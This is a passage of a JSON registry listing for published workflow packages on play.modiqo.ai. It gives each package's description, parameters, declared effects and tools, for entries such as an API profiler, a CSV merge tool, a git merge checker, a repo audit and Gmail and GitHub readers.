\"active\"}"},{"name":"curl","type":"string","required":false,"default":"","description":"Universal raw curl command to parse and profile automatically","example":"curl -X POST https://api.com/users -d \"{\\\"name\\\":\\\"Alice\\\"}\""},{"name":"samples","type":"integer","required":false,"default":"15","description":"Number of baseline latency samples to compute p50, p95, p99 percentiles","example":"20"},{"name":"stress","type":"integer","required":false,"default":"25","description":"Number of concurrent stress test requests to evaluate throughput RPS and rate limits (0 to disable)","example":"50"},{"name":"concurrency","type":"integer","required":false,"default":"10","description":"Number of concurrent worker threads for stress testing","example":"15"},{"name":"fuzz","type":"string","required":false,"default":"true","description":"Whether to run boundary, auth mutation, and error leak checks (true/false)","example":"true"},{"name":"idempotency","type":"string","required":false,"default":"true","description":"Whether to test payload idempotency and deterministic behavior on safe methods (true/false)","example":"true"},{"name":"out_openapi","type":"string","required":false,"default":"./openapi.yaml","description":"Path where the reverse-engineered OpenAPI 3.1 YAML will be written","example":"./openapi.yaml"},{"name":"out_report","type":"string","required":false,"default":"./api-profile.json","description":"Path where the full structured profile report JSON will be written","example":"./api-profile.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:70cef3a703bb870368eda357523c93774fa240502442d5f82325d5e72c4c2f34","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/manju-builds/keep-my-notes@0.1.0","reference":"manju-builds/keep-my-notes@0.1.0","uri":"https://play.modiqo.ai/manju-builds/keep-my-notes@0.1.0","manifest_uri":"https://play.modiqo.ai/manju-builds/keep-my-notes@0.1.0","name":"keep-my-notes","title":"keep-my-notes","description":"Keep My Notes When I Re-export merges a fresh CSV export with a previous annotated copy by exact stable-ID string. Fresh platform values win; only explicitly named manual columns carry forward, new rows receive blank manual fields, missing rows are archived separately, and changed matched rows include old/new platform evidence for review. Inputs are read-only and proved unchanged. After every refusal preflight passes, the Play uses one run-owned staging directory beside output_dir, creates output_dir if absent, and exclusively creates refreshed.csv, missing-from-fresh.csv, needs-review.csv, and refresh-receipt.json without overwriting existing paths. It reopens and verifies every output before reporting VERIFIED, removes temporary state on terminal paths, and bounds post-commit rollback to unchanged files created by that run. Canonical JSON is complete; the one-line summary is intentionally lossy.","owner":{"kind":"user","slug":"manju-builds"},"registry_organization":"manju-builds","tags":["csv","exact-join","data-integrity","no-clobber","effect-local-process"],"primary_domain":"domain-uncategorized","author":"manju-builds","version":"0.1.0","published_at":"2026-09-02T11:49:33.650553+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":20365,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":11,"names":["render_result","commit_outputs","resolve_inputs","validate_fresh","snapshot_inputs","preflight_outputs","validate_previous","analyze_exact_join","write_staged_outputs","verify_staged_outputs","verify_final_outputs_and_inputs"]},"parameters":[{"name":"previous_csv","type":"string","required":true,"description":"Path to the previous annotated UTF-8 CSV. Opened read-only and proved unchanged."},{"name":"fresh_csv","type":"string","required":true,"description":"Path to the fresh platform UTF-8 CSV export. Opened read-only and proved unchanged."},{"name":"key_column","type":"string","required":true,"description":"Exact stable-ID column in both files. Decoded CSV strings are compared exactly: '001' differs from '1', 'A' differs from 'a', and 'A' differs from 'A '. No trimming, case folding, guessing, fuzzy matching, or type coercion."},{"name":"manual_columns","type":"string","required":true,"description":"Exact CSV-formatted comma-separated list of human-owned column names, for example owner,notes,decision; names are not trimmed. Every name must exist in previous_csv, none may exist in fresh_csv, and key_column may not be included."},{"name":"output_dir","type":"string","required":true,"description":"Destination directory, created at commit if absent. After preflight, the Play stages beside it and exclusively creates refreshed.csv, missing-from-fresh.csv, needs-review.csv, and refresh-receipt.json; existing paths are never overwritten and run-owned temporary state is removed on terminal paths."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:faf0450ae44b6b80576f956a8ba7c1b53422a0e862889b6b3ffab69e93032062","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":11,"width":1,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/community/check-app-health@1.0.0","reference":"community/check-app-health@1.0.0","uri":"https://play.modiqo.ai/community/check-app-health@1.0.0","manifest_uri":"https://play.modiqo.ai/community/check-app-health@1.0.0","name":"check-app-health","title":"check-app-health","description":"Check deployed app health endpoints and fetch recent commits if unhealthy","owner":{"kind":"org","slug":"community"},"registry_organization":"community","tags":[],"primary_domain":"domain-uncategorized","author":"community","version":"1.0.0","published_at":"2026-09-02T07:36:47.819627+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2033,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["check_health"]},"parameters":[{"name":"apps","type":"string","required":true,"description":"JSON string of apps with name, url, and repo"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0f3e6cdd6dcaded3b9b9c0d7fcf1114dc55fdd36dc2491cc2286ed5d68ec3a58","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/priyanshu/agent-context-packer@1.0.0","reference":"priyanshu/agent-context-packer@1.0.0","uri":"https://play.modiqo.ai/priyanshu/agent-context-packer@1.0.0","manifest_uri":"https://play.modiqo.ai/priyanshu/agent-context-packer@1.0.0","name":"agent-context-packer","title":"agent-context-packer","description":"Scans any local repo and instantly generates a complete Agent Context Brief — verified commands (test, build, lint, typecheck), stack fingerprint, architecture topology, sensitive path warnings, git state, env var preflight, and a ready-to-paste agent prompt. Run once at the start of every agent session. Zero network calls. Works on any language or framework.\n","owner":{"kind":"user","slug":"priyanshu"},"registry_organization":"priyanshu","tags":[],"primary_domain":"domain-uncategorized","author":"priyanshu","version":"1.0.0","published_at":"2026-09-02T07:30:27.80223+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":11785,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["scan_repo"]},"parameters":[{"name":"path","type":"string","required":false,"default":".","description":"Absolute or relative path to the local repository to scan. Defaults to the current working directory.\n","example":"/home/user/my-project"},{"name":"prompt","type":"boolean","required":false,"default":"true","description":"When true (default), includes a ready-to-copy agent prompt and AGENTS.md content in the output. Set to false for a compact diagnostic-only report.\n","values":["true","false"],"example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e6d5282ca582706454a3ad54b3f3b1a03d114ffe4ea8880e31a11017c4a812dc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/avi/java-smoke-check@0.1.0","reference":"avi/java-smoke-check@0.1.0","uri":"https://play.modiqo.ai/avi/java-smoke-check@0.1.0","manifest_uri":"https://play.modiqo.ai/avi/java-smoke-check@0.1.0","name":"java-smoke-check","title":"java-smoke-check","description":"Compile a no-build-tool Java project and smoke-test that it boots and exits cleanly with scripted stdin","owner":{"kind":"user","slug":"avi"},"registry_organization":"avi","tags":["java","smoke-test"],"primary_domain":"domain-uncategorized","author":"avi","version":"0.1.0","published_at":"2026-09-02T06:24:44.320573+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3690,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":4,"names":["smoke_run","check_toolchain","compile_sources","find_entrypoints"]},"parameters":[{"name":"project_dir","type":"string","required":true,"description":"Directory holding the .java sources and any runtime assets"},{"name":"build_dir","type":"string","required":true,"description":"Directory javac writes .class files into (javac -d)"},{"name":"main_class","type":"string","required":true,"description":"Class with public static void main, run as java -cp <build_dir> <main_class>"},{"name":"stdin_file","type":"string","required":true,"description":"File piped to the program as stdin; must drive it to a clean exit"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dfea538bbdf9e8826569d24213a6812de534439c5f25ce41b3b30a6711407941","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":3},{"name":"java","kind":"tool","source":"inferred","count":1},{"name":"javac","kind":"tool","source":"declared","count":1},{"name":"javac","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/manju-builds/merge-canary@0.1.0","reference":"manju-builds/merge-canary@0.1.0","uri":"https://play.modiqo.ai/manju-builds/merge-canary@0.1.0","manifest_uri":"https://play.modiqo.ai/manju-builds/merge-canary@0.1.0","name":"merge-canary","title":"merge-canary","description":"Run one identical non-interactive check on a topic ref alone and after a temporary merge with a selected base ref already present locally. No network fetch is performed. Canonical JSON is complete; the one-line summary is intentionally lossy.","owner":{"kind":"user","slug":"manju-builds"},"registry_organization":"manju-builds","tags":["git","merge-safety","verification","effect-local-process"],"primary_domain":"domain-uncategorized","author":"manju-builds","version":"0.1.0","published_at":"2026-09-02T05:05:41.176665+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":20852,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":11,"names":["cleanup","run_baseline","attempt_merge","render_result","run_candidate","resolve_inputs","compare_results","prepare_baseline","prepare_candidate","verify_original_state","capture_original_state"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Local Git repository path. The original checkout is inspected, while checks and merges run only in disposable detached worktrees."},{"name":"topic_ref","type":"string","required":true,"description":"Topic Git ref to verify alone; it must resolve to a commit."},{"name":"base_ref","type":"string","required":false,"default":"","description":"Selected base Git ref exactly as present locally. When omitted, detect a locally present origin/HEAD, origin/main, main, origin/master, or master. No fetch is performed."},{"name":"check_command","type":"string","required":true,"description":"Arbitrary trusted shell command executed non-interactively through /bin/sh -c with identical policy and timeout in both disposable worktrees. Dependencies are never installed."},{"name":"timeout_seconds","type":"integer","required":false,"default":30,"description":"Per-repetition wall-clock timeout in seconds, from 1 through 86400."},{"name":"repeat_count","type":"integer","required":false,"default":1,"description":"Number of identical verification repetitions in each state, capped at three."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ad3620ef191c6b90492f6c370c2c24a906d8581d2b4715d905e3bf314a7319bc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":10,"width":2,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/soleil-kamitto/vibe-debt@1.0.0","reference":"soleil-kamitto/vibe-debt@1.0.0","uri":"https://play.modiqo.ai/soleil-kamitto/vibe-debt@1.0.0","manifest_uri":"https://play.modiqo.ai/soleil-kamitto/vibe-debt@1.0.0","name":"vibe-debt","title":"vibe-debt","description":"Audits what an AI coding session left behind in a repository: env vars read at runtime that no .env.example or README documents, packages imported but undeclared (and declared but unused), vendor credentials inlined in source, and files nothing imports. Read-only, no network, no credentials.","owner":{"kind":"user","slug":"soleil-kamitto"},"registry_organization":"soleil-kamitto","tags":["audit","code-quality","agent","cleanup","secrets","dependencies"],"primary_domain":"domain-uncategorized","author":"sol","version":"1.0.0","published_at":"2026-09-02T02:19:38.252025+00:00","visibility":"public","quality_score":1,"size_bytes":16680,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":4,"names":["orphans","secrets","dep_drift","env_drift"]},"parameters":[{"name":"repo","type":"string","required":false,"default":".","description":"Path to the repository to audit"},{"name":"since","type":"string","required":false,"default":"","description":"Only report files touched since this git rev, e.g. HEAD~20 or main. Empty audits the whole tree."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c673bcdd23543256f9f5168f0567c276706ae1f70e0efabe36f764babccdb8b9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/nitishmane/agentic-generate-review@1.0.0","reference":"nitishmane/agentic-generate-review@1.0.0","uri":"https://play.modiqo.ai/nitishmane/agentic-generate-review@1.0.0","manifest_uri":"https://play.modiqo.ai/nitishmane/agentic-generate-review@1.0.0","name":"agentic-generate-review","title":"agentic-generate-review","description":"Generates code for a task using a local coding model (spark-coder, a Claude-Code-CLI-compatible wrapper pointed at a local model), then reviews the resulting git diff with an Anthropic model via the claude CLI. Returns the review text ending in a VERDICT: APPROVE or VERDICT: CHANGES NEEDED line. Requires spark-coder (or an equivalent local generator) to actually produce code; degrades to a labeled unknown if it is absent.","owner":{"kind":"user","slug":"nitishmane"},"registry_organization":"nitishmane","tags":["agentic","code-review","local-model","claude","shell","typescript"],"primary_domain":"domain-uncategorized","author":"nitishmane","version":"1.0.0","published_at":"2026-09-01T23:31:18.148351+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":5151,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["review_code","generate_code"]},"parameters":[{"name":"task","type":"string","required":true,"description":"Natural-language description of the coding task to implement."},{"name":"target_dir","type":"string","required":false,"default":"/tmp/agentic-generate-review-work","description":"Directory to generate code in (created and git-initialized if it doesn't exist)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:82848062b38d53e730b0e0a4328c4fc24bd78d855239efea34377dc31fdb3c17","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rameshwar/text-to-action@0.0.2","reference":"rameshwar/text-to-action@0.0.2","uri":"https://play.modiqo.ai/rameshwar/text-to-action@0.0.2","manifest_uri":"https://play.modiqo.ai/rameshwar/text-to-action@0.0.2","name":"text-to-action","title":"text-to-action","description":"Convert unstructured text into a concise, evidence-only actionable plan.","owner":{"kind":"org","slug":"rameshwar"},"registry_organization":"rameshwar","tags":["typescript","productivity","planning"],"primary_domain":"domain-uncategorized","author":"Waghrameshwar123","version":"0.0.2","published_at":"2026-09-01T18:11:34.771238+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2086,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"text","type":"string","required":true,"description":"Email, message, meeting note, or instruction text to convert."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2816dd2f709a223c7915e1170b0b222e38fc9011c03f92bd3f9a2839f44f02e4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/komodos/agent-ready@1.0.1","reference":"komodos/agent-ready@1.0.1","uri":"https://play.modiqo.ai/komodos/agent-ready@1.0.1","manifest_uri":"https://play.modiqo.ai/komodos/agent-ready@1.0.1","name":"agent-ready","title":"agent-ready","description":"Can an AI agent actually use your website? Scans any site against the agent-discovery standards — ARD capability manifest, RFC 9727 API catalog, RFC 8414/9728 OAuth discovery, auth.md, MCP server card, A2A agent card, agent-skills index, WebMCP, Link headers, markdown negotiation, robots/sitemap, DNS-AID — and returns one classified briefing: a readiness level 0-5, every check bucketed pass/fail/neutral, and a concrete fix for each failure. Optional fail_below turns it into a CI gate. Read-only, no credentials, one external call.","owner":{"kind":"user","slug":"komodos"},"registry_organization":"komodos","tags":[],"primary_domain":"domain-uncategorized","author":"komodos","version":"1.0.1","published_at":"2026-09-01T17:11:26.786694+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":12699,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["scan","validate"]},"parameters":[{"name":"site_url","type":"string","required":true,"description":"Full origin to scan, including scheme","example":"https://example.com"},{"name":"fail_below","type":"integer","required":false,"default":0,"description":"Gate threshold 0-5. The briefing reports GATE FAILED when the site's readiness level is below this. 0 (the default) disables the gate and reports only. Use 4 or 5 in CI.","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dcb4c1b4ea601c75a6502eccdf8806d02e144b9c042a08b12808e1284f4e87a5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/k8s-tools/pod-cidr-check@0.0.1","reference":"k8s-tools/pod-cidr-check@0.0.1","uri":"https://play.modiqo.ai/k8s-tools/pod-cidr-check@0.0.1","manifest_uri":"https://play.modiqo.ai/k8s-tools/pod-cidr-check@0.0.1","name":"pod-cidr-check","title":"pod-cidr-check","description":"Check each Kubernetes node's podCIDR across two cluster contexts and flag overlap.","owner":{"kind":"org","slug":"k8s-tools"},"registry_organization":"k8s-tools","tags":[],"primary_domain":"domain-uncategorized","author":"Codeverse404","version":"0.0.1","published_at":"2026-09-01T11:58:17.944015+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2097,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["kubectl_a","kubectl_b"]},"parameters":[{"name":"contextA","type":"string","required":true,"description":"First kubectl context name to check"},{"name":"contextB","type":"string","required":true,"description":"Second kubectl context name to check"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ec259e454a46d60d99dd0a5ad46a7565339f729543837bbe98ef4d80e3395b60","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"kubectl","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ganga-300/explain-github-issue@0.0.1","reference":"ganga-300/explain-github-issue@0.0.1","uri":"https://play.modiqo.ai/ganga-300/explain-github-issue@0.0.1","manifest_uri":"https://play.modiqo.ai/ganga-300/explain-github-issue@0.0.1","name":"explain-github-issue","title":"explain-github-issue","description":"Fetches a single GitHub issue by owner/repo/number and presents a structured digest for plain-English explanation","owner":{"kind":"user","slug":"ganga-300"},"registry_organization":"ganga-300","tags":["typescript","github"],"primary_domain":"domain-uncategorized","author":"ganga-300","version":"0.0.1","published_at":"2026-09-01T09:43:39.752374+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2599,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["auth_github","fetch_issue"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"issue_number","type":"integer","required":true,"description":"GitHub issue number"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a4c505d3a73206ecd3e0fe47925a8beefb7a0c5bb87a5e6477464443c650b10f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":1,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"github","steps":2,"methods":["issues/get"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":4431,"context_tokens":552,"exploration_ms":907,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/gitanshulbisht/cloud-zombie-hunter@1.0.0","reference":"gitanshulbisht/cloud-zombie-hunter@1.0.0","uri":"https://play.modiqo.ai/gitanshulbisht/cloud-zombie-hunter@1.0.0","manifest_uri":"https://play.modiqo.ai/gitanshulbisht/cloud-zombie-hunter@1.0.0","name":"cloud-zombie-hunter","title":"cloud-zombie-hunter","description":"Zombie Cloud & Cost Waste Hunter Play: Audits unattached volumes and idle cloud resources.","owner":{"kind":"user","slug":"gitanshulbisht"},"registry_organization":"gitanshulbisht","tags":[],"primary_domain":"domain-uncategorized","author":"gitanshulbisht","version":"1.0.0","published_at":"2026-09-01T09:16:17.199903+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":1241,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["audit_cloud"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b7e4da81f12c65d03b484ed92c06133f8538ba050ce9889ba08ff92218706d14","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/gitanshulbisht/git-prune@1.0.0","reference":"gitanshulbisht/git-prune@1.0.0","uri":"https://play.modiqo.ai/gitanshulbisht/git-prune@1.0.0","manifest_uri":"https://play.modiqo.ai/gitanshulbisht/git-prune@1.0.0","name":"git-prune","title":"git-prune","description":"Smart Git Branch Janitor: Safely audits and prunes merged local branches.","owner":{"kind":"user","slug":"gitanshulbisht"},"registry_organization":"gitanshulbisht","tags":[],"primary_domain":"domain-uncategorized","author":"gitanshulbisht","version":"1.0.0","published_at":"2026-09-01T09:16:07.618183+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":1320,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["prune_branches"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dd470d8c09cee67afa0207fd6a436668f6d4526f913d2c80fb160a32b3b132c0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ganga-300/gmail-check-application-replies@0.0.1","reference":"ganga-300/gmail-check-application-replies@0.0.1","uri":"https://play.modiqo.ai/ganga-300/gmail-check-application-replies@0.0.1","manifest_uri":"https://play.modiqo.ai/ganga-300/gmail-check-application-replies@0.0.1","name":"gmail-check-application-replies","title":"gmail-check-application-replies","description":"Check Gmail for replies to job/internship application emails sent within a configurable date range","owner":{"kind":"user","slug":"ganga-300"},"registry_organization":"ganga-300","tags":["typescript","gmail-api"],"primary_domain":"domain-uncategorized","author":"ganga-300","version":"0.0.1","published_at":"2026-09-01T09:01:23.659827+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":4027,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["list_sent","fetch_threads","auth_gmail_api"]},"parameters":[{"name":"range","type":"string","required":false,"default":"14d","description":"Gmail newer_than window for the sent-email date range, e.g. 14d, 2w, 30d, 6m"},{"name":"keywords","type":"string","required":false,"default":"job OR internship OR application OR resume OR position OR career OR opportunity OR hiring OR interview OR recruiter","description":"Gmail search keywords (OR-separated) used to identify application emails in Sent"},{"name":"max_results","type":"string","required":false,"default":"50","description":"Max sent messages to 